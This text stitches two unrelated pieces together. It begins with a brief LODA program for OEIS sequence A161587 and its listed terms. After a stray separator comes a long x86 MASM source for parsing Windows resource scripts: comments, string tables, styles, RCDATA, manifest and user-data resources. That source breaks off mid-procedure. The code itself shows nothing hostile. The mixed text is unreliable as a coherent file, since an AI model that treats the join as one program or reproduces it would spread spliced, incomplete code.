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; A161587: a(n) = 13n^2 + 10n + 1.
; 1,24,73,148,249,376,529,708,913,1144,1401,1684,1993,2328,2689,3076,3489,3928,4393,4884,5401,5944,6513,7108,7729,8376,9049,9748,10473,11224,12001,12804,13633,14488,15369,16276,17209,18168,19153,20164,21201,22264,23353,24468,25609,26776,27969,29188,30433,31704,33001,34324,35673,37048,38449,39876,41329,42808,44313,45844,47401,48984,50593,52228,53889,55576,57289,59028,60793,62584,64401,66244,68113,70008,71929,73876,75849,77848,79873,81924,84001,86104,88233,90388,92569,94776,97009,99268,101553,103864,106201,108564,110953,113368,115809,118276,120769,123288,125833,128404
mov $1,13
mul $1,$0
add $1,10
mul $1,$0
add $1,1
mov $0,$1
|
.data?
dw ?
wordbuff db 16384 dup(?)
hrcmem dd ?
fError dd ?
fModify dd ?
fParseError dd ?
.code
SkipToEndOfComment proc
.while byte ptr [esi] && word ptr [esi]!='/*'
inc esi
.endw
.if word ptr [esi]=='/*'
add esi,2
.endif
ret
SkipToEndOfComment endp
SkipToEol proc
.while byte ptr [esi]!=VK_RETURN && byte ptr [esi]
inc esi
.endw
ret
SkipToEol endp
SkipSpace proc
@@:
.while byte ptr [esi]==VK_SPACE || byte ptr [esi]==VK_TAB
inc esi
.endw
.if word ptr [esi]=='*/'
invoke SkipToEndOfComment
jmp @b
.endif
.if byte ptr [esi]==';' || word ptr [esi]=='//'
invoke SkipToEol
.endif
ret
SkipSpace endp
SkipCRLF proc
@@:
.while byte ptr [esi]==VK_SPACE || byte ptr [esi]==VK_TAB || byte ptr [esi]==0Dh || byte ptr [esi]==0Ah
inc esi
.endw
.if byte ptr [esi]==';' || word ptr [esi]=='//'
invoke SkipToEol
jmp @b
.elseif word ptr [esi]=='*/'
invoke SkipToEndOfComment
jmp @b
.endif
ret
SkipCRLF endp
GetWord proc uses esi edi,lpWord:DWORD,lpLine:DWORD
mov esi,lpLine
mov edi,lpWord
invoke SkipCRLF
.if word ptr [esi]=='""' && byte ptr [esi+2]!='"'
mov ax,[esi]
mov [edi],ax
inc esi
inc esi
inc edi
inc edi
.elseif byte ptr [esi]=='"'
mov al,[esi]
mov [edi],al
inc esi
inc edi
xor eax,eax
.while byte ptr [esi] && al!='"'
mov ax,[esi]
.if ax=='""'
mov [edi],ax
inc esi
inc edi
xor eax,eax
.elseif ax=='"\'
mov [edi],ax
inc esi
inc edi
xor eax,eax
.elseif al=='\' && ah==0Dh && byte ptr [esi+2]==0Ah
inc esi
inc esi
dec edi
.else
mov [edi],al
.endif
inc esi
inc edi
.endw
.else
.while byte ptr [esi] && byte ptr [esi]!=VK_SPACE && byte ptr [esi]!=VK_TAB && byte ptr [esi]!=0Dh && byte ptr [esi]!=0Ah && byte ptr [esi]!=',' && byte ptr [esi]!='|' && byte ptr [esi]!='"'
mov al,[esi]
mov [edi],al
inc esi
inc edi
.endw
.endif
mov byte ptr [edi],0
invoke SkipSpace
mov dl,[esi]
.if dl==',' || dl=='|'
push edx
inc esi
invoke SkipCRLF
pop edx
.endif
mov eax,esi
sub eax,lpLine
ret
GetWord endp
IsBegin proc lpWord:DWORD
push ecx
push edx
invoke strcmpi,lpWord,offset szBEGIN
.if eax
invoke strcmpi,lpWord,offset szBEGINSHORT
.endif
pop edx
pop ecx
ret
IsBegin endp
IsEnd proc lpWord:DWORD
push ecx
push edx
invoke strcmpi,lpWord,offset szEND
.if eax
invoke strcmpi,lpWord,offset szENDSHORT
.endif
pop edx
pop ecx
ret
IsEnd endp
GetName proc uses ebx,lpProMem:DWORD,lpBuff:DWORD,lpName:DWORD,lpID:DWORD
mov eax,lpBuff
mov al,[eax]
.if (al>='0' && al<='9') || al=='-'
;ID
invoke ResEdDecToBin,lpBuff
mov edx,lpID
mov [edx],eax
mov edx,lpName
mov byte ptr [edx],0
.else
;Name
invoke strcpyn,lpName,lpBuff,MaxName
;ID
invoke FindName,lpProMem,lpName,TRUE
.if eax
mov [eax].NAMEMEM.delete,TRUE
mov ebx,[eax].NAMEMEM.value
invoke IsNameDefault,lpName
.if eax
mov ebx,eax
.endif
mov edx,lpID
mov [edx],ebx
.else
xor ebx,ebx
invoke IsNameDefault,lpName
.if eax
mov ebx,eax
.endif
mov edx,lpID
mov [edx],ebx
.endif
.endif
mov edx,lpID
mov eax,[edx]
ret
GetName endp
ParseDefine proc uses esi,lpRCMem:DWORD,lpProMem:DWORD
mov esi,lpRCMem
invoke GetWord,offset namebuff,esi
add esi,eax
invoke SkipSpace
.if byte ptr [esi]==VK_RETURN
mov word ptr wordbuff,'0'
.else
invoke GetWord,offset wordbuff,esi
add esi,eax
.endif
invoke AddName,lpProMem,offset namebuff,offset wordbuff
mov eax,esi
sub eax,lpRCMem
ret
ParseDefine endp
ParseDefsSkip proc
invoke strcmpi,offset wordbuff,offset szUNDEF
.if !eax
invoke SkipToEol
xor eax,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szIF
.if !eax
invoke SkipToEol
xor eax,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szELIF
.if !eax
invoke SkipToEol
xor eax,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szELSE
.if !eax
invoke SkipToEol
xor eax,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szENDIF
.if !eax
invoke SkipToEol
xor eax,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szIFDEF
.if !eax
invoke SkipToEol
xor eax,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szIFNDEF
.if !eax
invoke SkipToEol
xor eax,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szPRAGMA
.if !eax
invoke SkipToEol
xor eax,eax
jmp Ex
.endif
xor eax,eax
inc eax
Ex:
ret
ParseDefsSkip endp
ParseFileName proc uses esi edi,lpRCMem:DWORD
LOCAL nend:BYTE
mov esi,lpRCMem
mov edi,offset wordbuff
call SkipSpace
xor ecx,ecx
.while TRUE
mov al,[esi+ecx]
.if al==VK_RETURN
xor ax,ax
.endif
mov [edi+ecx],ax
inc ecx
.break .if !al
.endw
lea esi,[esi+ecx-1]
push esi
mov esi,offset wordbuff
mov edi,esi
mov al,[esi]
.if al=='"'
mov nend,al
inc esi
.elseif al=='<'
mov nend,'>'
.else
mov nend,' '
.endif
mov ah,1
.while byte ptr [esi]
mov al,[esi]
.if al==nend
.if al=='>'
mov [edi],al
inc edi
.endif
xor ax,ax
mov [edi],al
inc edi
.elseif al=='\'
.if byte ptr [esi+1]=='\'
inc esi
.endif
.elseif al=='/'
mov al,'\'
.endif
.if ah
mov [edi],al
inc edi
.endif
inc esi
.endw
pop esi
mov eax,esi
sub eax,lpRCMem
ret
ParseFileName endp
GetLoadOptions proc uses ebx esi,lpRCMem:DWORD
mov esi,lpRCMem
xor ebx,ebx
@@:
add esi,ebx
invoke GetWord,offset wordbuff,esi
mov ebx,eax
invoke strcmpi,offset wordbuff,offset szPRELOAD
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szLOADONCALL
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szFIXED
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szMOVEABLE
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szDISCARDABLE
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szPURE
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szIMPURE
or eax,eax
je @b
mov eax,esi
sub eax,lpRCMem
ret
GetLoadOptions endp
ParseInclude proc uses esi edi,lpRCMem:DWORD,lpProMem:DWORD
mov esi,lpRCMem
invoke GetTypeMem,lpProMem,TPE_INCLUDE
mov eax,[eax].PROJECT.hmem
.if !eax
invoke AddTypeMem,lpProMem,64*1024,TPE_INCLUDE
.endif
mov edi,eax
.while [edi].INCLUDEMEM.szfile
lea edi,[edi+sizeof INCLUDEMEM]
.endw
invoke ParseFileName,esi
add esi,eax
invoke strcpy,addr [edi].INCLUDEMEM.szfile,offset wordbuff
mov eax,esi
sub eax,lpRCMem
ret
ParseInclude endp
ParseSkip proc uses ebx esi edi,lpRCMem:DWORD,lpProMem:DWORD
mov esi,lpRCMem
xor ebx,ebx
@@:
add esi,ebx
invoke GetWord,offset wordbuff,esi
mov ebx,eax
invoke strcmpi,offset wordbuff,offset szPRELOAD
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szLOADONCALL
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szFIXED
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szMOVEABLE
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szDISCARDABLE
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szPURE
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szIMPURE
or eax,eax
je @b
xor ebx,ebx
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
Nx:
inc ebx
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
jmp Nx
.endif
invoke SkipToEol
jmp @b
.endif
dec ebx
jne @b
.endif
mov eax,esi
sub eax,lpRCMem
ret
ParseSkip endp
ConvNum proc lpProMem:DWORD,lpBuff:DWORD
mov eax,lpBuff
.if word ptr [eax]=='x0' || word ptr [eax]=='X0'
add eax,2
invoke HexToBin,eax
.elseif (byte ptr [eax]>='0' && byte ptr [eax]<='9') || byte ptr [eax]=='-'
invoke ResEdDecToBin,eax
.else
invoke FindName,lpProMem,eax,FALSE
.endif
ret
ConvNum endp
GetNum proc lpProMem:DWORD
invoke GetWord,offset wordbuff,esi
mov ecx,eax
invoke IsBegin,offset wordbuff
or eax,eax
je Ex
invoke IsEnd,offset wordbuff
or eax,eax
je Ex
add esi,ecx
push edx
invoke ConvNum,lpProMem,offset wordbuff
pop edx
cmp dl,','
je Ex
cmp dl,'|'
je Ex
@@:
push eax
invoke GetWord,offset wordbuff,esi
.if byte ptr wordbuff=='+'
add esi,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke ConvNum,lpProMem,offset wordbuff
pop edx
add eax,edx
jmp @b
.elseif byte ptr wordbuff=='-'
add esi,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke ConvNum,lpProMem,offset wordbuff
pop edx
sub edx,eax
mov eax,edx
jmp @b
.endif
pop eax
Ex:
ret
GetNum endp
FindStyle proc uses ebx esi,lpWord:DWORD,lpStyles:DWORD
mov edx,lpWord
.if word ptr [edx]=='x0'
invoke HexToBin,addr [edx+2]
mov edx,TRUE
.elseif byte ptr [edx]>='0' && byte ptr [edx]<='9'
invoke ResEdDecToBin,edx
mov edx,TRUE
.else
mov esi,lpStyles
.while byte ptr [esi+4]
mov ebx,[esi]
invoke strcmp,addr [esi+4],lpWord
.if !eax
mov eax,ebx
mov edx,TRUE
jmp Ex
.endif
invoke strlen,addr [esi+4]
lea esi,[esi+eax+4+1]
.endw
xor eax,eax
xor edx,edx
.endif
Ex:
ret
FindStyle endp
FindDlgStyle proc uses ebx esi,lpWord:DWORD,lpStyles:DWORD
mov edx,lpWord
.if word ptr [edx]=='x0'
invoke HexToBin,addr [edx+2]
mov edx,TRUE
.elseif byte ptr [edx]>='0' && byte ptr [edx]<='9'
invoke ResEdDecToBin,edx
mov edx,TRUE
.else
mov esi,lpStyles
.while byte ptr [esi+8]
mov ebx,[esi]
invoke strcmp,addr [esi+8],lpWord
.if !eax
mov eax,ebx
mov edx,TRUE
jmp Ex
.endif
invoke strlen,addr [esi+8]
lea esi,[esi+eax+8+1]
.endw
xor eax,eax
xor edx,edx
.endif
Ex:
ret
FindDlgStyle endp
GetStyle proc uses ebx esi edi,lpRCMem:DWORD,lpStyles:DWORD,fDialog:DWORD
.if !lpStyles
mov ebx,WS_VISIBLE
.else
xor ebx,ebx
.endif
mov esi,lpRCMem
.if byte ptr [esi]==','
inc esi
.else
.while !fParseError
mov edi,esi
invoke GetWord,offset wordbuff,esi
mov ecx,eax
invoke IsBegin,offset wordbuff
or eax,eax
jz Ex
invoke IsEnd,offset wordbuff
or eax,eax
jz Ex
push ecx
push edx
invoke strcmpi,offset wordbuff,offset szNOT
pop edx
pop ecx
.if !eax
add esi,ecx
invoke GetWord,offset wordbuff,esi
add esi,eax
push edx
.if fDialog
.if lpStyles
invoke FindDlgStyle,offset wordbuff,lpStyles
.else
invoke FindDlgStyle,offset wordbuff,offset rsstyledef
.if !edx
invoke FindDlgStyle,offset wordbuff,offset rsstyledefdlg
.endif
.endif
.else
invoke FindStyle,offset wordbuff,lpStyles
.endif
.if !edx
invoke strcpy,addr namebuff+1000,addr szUnknownStyle
invoke strcat,addr namebuff+1000,addr namebuff
invoke MessageBox,hRes,addr namebuff+1000,addr wordbuff,MB_OK or MB_ICONERROR
inc fParseError
mov fClose,-1
xor eax,eax
.endif
xor eax,-1
and ebx,eax
.else
add esi,ecx
push edx
.if fDialog
.if lpStyles
invoke FindDlgStyle,offset wordbuff,lpStyles
.else
invoke FindDlgStyle,offset wordbuff,offset rsstyledef
.if !edx
invoke FindDlgStyle,offset wordbuff,offset rsstyledefdlg
.endif
.endif
.else
invoke FindStyle,offset wordbuff,lpStyles
.endif
.if !edx
invoke strcpy,addr namebuff+1000,addr szUnknownStyle
invoke strcat,addr namebuff+1000,addr namebuff
invoke MessageBox,hRes,addr namebuff+1000,addr wordbuff,MB_OK or MB_ICONERROR
inc fParseError
mov fClose,-1
xor eax,eax
.endif
or ebx,eax
.endif
pop edx
.break .if dl==',' || dl==0Dh
.endw
.endif
Ex:
mov edx,ebx
mov eax,esi
sub eax,lpRCMem
ret
GetStyle endp
GetLineNo proc hRCMem:DWORD,lpRCMem:DWORD
mov edx,hRCMem
xor eax,eax
.while edx<=lpRCMem
.if byte ptr [edx]==VK_RETURN
inc eax
.endif
inc edx
.endw
ret
GetLineNo endp
ParseStringTable proc uses ebx esi edi,lpRCMem:DWORD,lpProMem:DWORD
LOCAL nErr:DWORD
LOCAL lang:DWORD
LOCAL sublang:DWORD
xor eax,eax
mov lang,eax
mov sublang,eax
mov nErr,eax
mov esi,lpRCMem
invoke AddTypeMem,lpProMem,512*1024,TPE_STRING
mov edi,eax
invoke GetLoadOptions,esi
add esi,eax
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
mov ebx,eax
invoke strcmpi,offset wordbuff,offset szCHARACTERISTICS
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szVERSION
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szLANGUAGE
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
shr eax,16
.endif
mov lang,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
and eax,0FFFFh
.endif
mov sublang,eax
jmp @b
.endif
sub esi,ebx
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke ParseDefsSkip
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if eax
.if byte ptr wordbuff=='"'
inc nErr
jmp @b
.endif
invoke GetName,lpProMem,offset wordbuff,addr [edi].STRINGMEM.szname,addr [edi].STRINGMEM.value
mov namebuff,0
NxStr:
.if byte ptr [esi]
invoke GetWord,offset wordbuff,esi
.if byte ptr wordbuff!='"'
mov [edi].STRINGMEM.szname,0
mov [edi].STRINGMEM.value,0
inc nErr
jmp @b
.elseif byte ptr [esi+eax]=='"'
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcat,offset namebuff,offset wordbuff
jmp NxStr
.elseif byte ptr [esi+eax]!=0Dh
mov [edi].STRINGMEM.szname,0
mov [edi].STRINGMEM.value,0
inc nErr
jmp @b
.endif
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcat,offset namebuff,offset wordbuff
invoke strcpyn,addr [edi].STRINGMEM.szstring,offset namebuff,sizeof STRINGMEM.szstring
mov eax,lang
mov [edi].STRINGMEM.lang.lang,eax
mov eax,sublang
mov [edi].STRINGMEM.lang.sublang,eax
add edi,sizeof STRINGMEM
jmp @b
.endif
.endif
.endif
.if nErr
invoke strcpy,addr namebuff,addr szErrorParse
invoke GetLineNo,hrcmem,esi
mov edx,eax
invoke ResEdBinToDec,edx,addr namebuff+100
invoke strcat,addr namebuff,addr namebuff+100
invoke MessageBox,0,addr namebuff,addr szSTRINGTABLE,MB_OK
.endif
mov eax,esi
sub eax,lpRCMem
ret
ParseStringTable endp
ParseResource proc uses esi edi,lpRCMem:DWORD,lpProMem:DWORD,nType:DWORD
LOCAL hFile:DWORD
LOCAL nBytes:DWORD
LOCAL buffer[MAX_PATH]:BYTE
LOCAL nSize:DWORD
invoke strcpy,addr buffer,offset wordbuff
mov esi,lpRCMem
invoke GetLoadOptions,esi
add esi,eax
invoke ParseFileName,esi
add esi,eax
.if byte ptr wordbuff
.if nType==7
invoke AddTypeMem,lpProMem,10*1024,TPE_XPMANIFEST
mov edi,eax
invoke GetName,lpProMem,offset namebuff,addr [edi].XPMANIFESTMEM.szname,addr [edi].XPMANIFESTMEM.value
invoke strcpyn,addr [edi].XPMANIFESTMEM.szfilename,offset wordbuff,sizeof XPMANIFESTMEM.szfilename
invoke strcpy,addr buffer,addr szProjectPath
invoke strcat,addr buffer,addr szBS
invoke strcat,addr buffer,addr [edi].XPMANIFESTMEM.szfilename
invoke CreateFile,addr buffer,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.if eax!=INVALID_HANDLE_VALUE
mov hFile,eax
invoke ReadFile,hFile,addr [edi+sizeof XPMANIFESTMEM],8192,addr nBytes,NULL
invoke CloseHandle,hFile
.endif
.else
invoke GetTypeMem,lpProMem,TPE_RESOURCE
mov eax,[eax].PROJECT.hmem
.if !eax
invoke AddTypeMem,lpProMem,64*1024,TPE_RESOURCE
.endif
mov edi,eax
.while [edi].RESOURCEMEM.szfile
lea edi,[edi+sizeof RESOURCEMEM]
.endw
mov eax,nType
mov [edi].RESOURCEMEM.ntype,eax
invoke GetName,lpProMem,offset namebuff,addr [edi].RESOURCEMEM.szname,addr [edi].RESOURCEMEM.value
invoke strcpyn,addr [edi].RESOURCEMEM.szfile,offset wordbuff,sizeof RESOURCEMEM.szfile
.endif
.else
.if nType==7
invoke AddTypeMem,lpProMem,10*1024,TPE_XPMANIFEST
mov edi,eax
invoke GetName,lpProMem,offset namebuff,addr [edi].XPMANIFESTMEM.szname,addr [edi].XPMANIFESTMEM.value
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
lea edi,[edi+sizeof XPMANIFESTMEM]
@@:
call SkipSpace
.if byte ptr [esi]==0Dh
inc esi
.endif
.if byte ptr [esi]==0Ah
inc esi
.endif
mov edx,offset wordbuff
.while byte ptr [esi] && byte ptr [esi]!=0Dh
mov ax,[esi]
.if al=='"' && ah=='"'
mov [edx],al
inc edx
inc esi
.elseif al!='"'
mov [edx],al
inc edx
.endif
inc esi
.endw
mov byte ptr [edx],0
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if eax
mov edx,offset wordbuff
.while byte ptr [edx]
mov al,[edx]
stosb
inc edx
.endw
mov al,0Dh
stosb
mov al,0Ah
stosb
jmp @b
.endif
.if byte ptr [edi-1]==0Ah
sub edi,2
.endif
mov al,0
stosb
.endif
.elseif nType==4
invoke AddTypeMem,lpProMem,64*1024,TPE_RCDATA
mov edi,eax
invoke GetName,lpProMem,offset namebuff,addr [edi].RCDATAMEM.szname,addr [edi].RCDATAMEM.value
invoke GetLoadOptions,esi
add esi,eax
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
mov ebx,eax
invoke strcmpi,offset wordbuff,offset szCHARACTERISTICS
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szVERSION
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szLANGUAGE
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
shr eax,16
.endif
mov [edi].RCDATAMEM.lang.lang,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
and eax,0FFFFh
.endif
mov [edi].RCDATAMEM.lang.sublang,eax
jmp @b
.endif
sub esi,ebx
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
lea edi,[edi+sizeof RCDATAMEM]
@@:
call SkipSpace
.if byte ptr [esi]==0Dh
inc esi
.endif
.if byte ptr [esi]==0Ah
inc esi
.endif
mov edx,offset wordbuff
.while byte ptr [esi] && byte ptr [esi]!=0Dh
mov al,[esi]
mov [edx],al
inc esi
inc edx
.endw
mov byte ptr [edx],0
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if eax
mov edx,offset wordbuff
.while byte ptr [edx]
mov al,[edx]
stosb
inc edx
.endw
mov al,0Dh
stosb
mov al,0Ah
stosb
jmp @b
.endif
.if byte ptr [edi-1]==0Ah
sub edi,2
.endif
mov al,0
stosb
.endif
.elseif nType>=11
invoke AddTypeMem,lpProMem,64*1024,TPE_USERDATA
mov edi,eax
invoke GetName,lpProMem,offset namebuff,addr [edi].USERDATAMEM.szname,addr [edi].USERDATAMEM.value
mov eax,nType
mov edx,sizeof RARSTYPE
mul edx
push esi
mov esi,offset rarstype
lea esi,[esi+eax]
invoke strcpy,addr [edi].USERDATAMEM.sztype,addr [esi].RARSTYPE.sztype
mov eax,[esi].RARSTYPE.nid
mov [edi].USERDATAMEM.ntype,eax
pop esi
invoke GetLoadOptions,esi
add esi,eax
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
mov ebx,eax
invoke strcmpi,offset wordbuff,offset szCHARACTERISTICS
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szVERSION
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
; invoke strcmpi,offset wordbuff,offset szLANGUAGE
; .if !eax
; invoke GetWord,offset wordbuff,esi
; add esi,eax
; .if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
; invoke ConvNum,lpProMem,offset wordbuff
; .else
; invoke FindStyle,offset wordbuff,offset langdef
; shr eax,16
; .endif
; mov [edi].USERDATAMEM.lang.lang,eax
; invoke GetWord,offset wordbuff,esi
; add esi,eax
; .if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
; invoke ConvNum,lpProMem,offset wordbuff
; .else
; invoke FindStyle,offset wordbuff,offset langdef
; and eax,0FFFFh
; .endif
; mov [edi].USERDATAMEM.lang.sublang,eax
; jmp @b
; .endif
sub esi,ebx
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
lea edi,[edi+sizeof USERDATAMEM]
@@:
call SkipSpace
.if byte ptr [esi]==0Dh
inc esi
.endif
.if byte ptr [esi]==0Ah
inc esi
.endif
mov edx,offset wordbuff
.while byte ptr [esi] && byte ptr [esi]!=0Dh
mov al,[esi]
mov [edx],al
inc esi
inc edx
.endw
mov byte ptr [edx],0
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if eax
mov edx,offset wordbuff
.while byte ptr [edx]
mov al,[edx]
stosb
inc edx
.endw
mov al,0Dh
stosb
mov al,0Ah
stosb
jmp @b
.endif
.if byte ptr [edi-1]==0Ah
sub edi,2
.endif
mov al,0
stosb
.endif
.else
mov ecx,nType
mov eax,1
shl eax,cl
test eax,fError
.if ZERO?
invoke strcpy,addr namebuff+1024,addr szLine
invoke GetLineNo,hrcmem,esi
mov edx,eax
invoke ResEdBinToDec,edx,addr namebuff+1024+100
invoke strcat,addr namebuff+1024,addr namebuff+1024+100
invoke strcat,addr namebuff+1024,addr szCrLf
invoke strcat,addr namebuff+1024,addr szNotSupported
invoke MessageBox,0,addr namebuff+1024,addr buffer,MB_ICONEXCLAMATION or MB_OKCANCEL
.if eax==IDCANCEL
mov eax,-1
ret
.endif
.endif
invoke GetTypeMem,lpProMem,TPE_RESOURCE
mov eax,[eax].PROJECT.hmem
.if !eax
invoke AddTypeMem,lpProMem,64*1024,TPE_RESOURCE
.endif
mov edi,eax
.while [edi].RESOURCEMEM.szfile
lea edi,[edi+sizeof RESOURCEMEM]
.endw
mov eax,nType
mov [edi].RESOURCEMEM.ntype,eax
.if byte ptr namebuff
invoke strcpy,offset wordbuff,offset namebuff
.else
invoke strcpy,offset wordbuff,addr buffer
invoke strcat,offset wordbuff,addr namebuff+1024+100
.endif
invoke strlen,offset wordbuff
.if nType==0
; BITMAP
mov dword ptr wordbuff[eax],'pmb.'
mov dword ptr wordbuff[eax+4],0
.elseif nType==1
; CURSOR
mov dword ptr wordbuff[eax],'ruc.'
mov dword ptr wordbuff[eax+4],0
.elseif nType==2
; ICON
mov dword ptr wordbuff[eax],'oci.'
mov dword ptr wordbuff[eax+4],0
.elseif nType==3
; AVI
mov dword ptr wordbuff[eax],'iva.'
mov dword ptr wordbuff[eax+4],0
.elseif nType==4
; RCDATA
mov dword ptr wordbuff[eax],'tad.'
mov dword ptr wordbuff[eax+4],0
.elseif nType==5
; WAVE
mov dword ptr wordbuff[eax],'vaw.'
mov dword ptr wordbuff[eax+4],0
.elseif nType==6
; IMAGE
mov dword ptr wordbuff[eax],'gmi.'
mov dword ptr wordbuff[eax+4],0
.elseif nType==7
; MANIFEST
mov dword ptr wordbuff[eax],'lmx.'
mov dword ptr wordbuff[eax+4],0
.elseif nType==8
; ANICURSOR
mov dword ptr wordbuff[eax],'ina.'
mov dword ptr wordbuff[eax+4],0
.elseif nType==9
; FONT
mov dword ptr wordbuff[eax],'nof.'
mov dword ptr wordbuff[eax+4],0
.elseif nType==10
; MESSAGETABLE
mov dword ptr wordbuff[eax],'gsm.'
mov dword ptr wordbuff[eax+4],0
.else
; Unknown
mov dword ptr wordbuff[eax],'xxx.'
mov dword ptr wordbuff[eax+4],0
.endif
mov ecx,nType
mov eax,1
shl eax,cl
or fError,eax
invoke GetName,lpProMem,offset namebuff,addr [edi].RESOURCEMEM.szname,addr [edi].RESOURCEMEM.value
invoke strcpyn,addr [edi].RESOURCEMEM.szfile,offset wordbuff,sizeof RESOURCEMEM.szfile
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
mov nSize,0
invoke CreateFile,addr [edi].RESOURCEMEM.szfile,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile,eax
@@:
call SkipSpace
.if byte ptr [esi]==0Dh
inc esi
.endif
.if byte ptr [esi]==0Ah
inc esi
.endif
mov edx,offset wordbuff
.while byte ptr [esi] && byte ptr [esi]!=0Dh
mov al,[esi]
mov [edx],al
inc esi
inc edx
.endw
mov byte ptr [edx],0
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if eax
mov edx,offset wordbuff
mov ecx,edx
.while byte ptr [edx]
mov al,[edx]
.if (al>='0' && al<='9') || (al>='A' && al<="F") || (al>='a' && al<="f")
.if al>='a'
sub al,'a'-10
.elseif al>='A'
sub al,'A'-10
.else
sub al,'0'
.endif
mov ah,al
inc edx
mov al,[edx]
.if (al>='0' && al<='9') || (al>='A' && al<="F") || (al>='a' && al<="f")
.if al>='a'
sub al,'a'-10
.elseif al>='A'
sub al,'A'-10
.else
sub al,'0'
.endif
shl ah,4
or ah,al
.endif
mov [ecx],ah
inc edx
inc ecx
.else
inc edx
.endif
.endw
sub ecx,offset wordbuff
add nSize,ecx
invoke WriteFile,hFile,offset wordbuff,ecx,addr nBytes,NULL
jmp @b
.endif
invoke CloseHandle,hFile
inc fModify
.endif
.endif
.endif
mov eax,esi
sub eax,lpRCMem
ret
ParseResource endp
ParseControl proc uses ebx esi edi,lpRCMem:DWORD,lpDlgMem:DWORD,nTab:DWORD,lpProMem:DWORD
mov esi,lpRCMem
mov edi,lpDlgMem
;Flag handle
